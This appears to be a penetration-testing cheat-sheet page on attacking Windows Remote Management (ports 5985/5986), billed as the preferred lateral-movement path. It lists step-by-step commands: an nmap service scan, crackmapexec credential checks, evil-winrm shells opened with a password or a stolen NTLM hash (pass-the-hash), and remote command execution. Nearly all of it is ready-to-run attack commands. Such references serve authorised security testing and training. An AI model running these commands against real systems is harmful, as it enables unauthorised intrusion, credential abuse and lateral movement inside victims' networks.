Back to Port Tracker
🪟
WinRM
Port 5985 / 5986Windows
Windows Remote Management — the preferred lateral movement path. Evil-WinRM for shells.
// methodology checklist
Step-by-step commands
1
Check WinRM is listening
howlsec@kali·shell
nmap -p5985,5986 -sV $thowlsec@kali·shell
crackmapexec winrm $t -u <user> -p <pass>2
Get a shell
howlsec@kali·shell
evil-winrm -i $t -u <user> -p <pass>howlsec@kali·shell
evil-winrm -i $t -u <user> -H <ntlmhash>3
Remote execution
howlsec@kali·shell
crackmapexec winrm $t -u <user> -p <pass> -x 'whoami'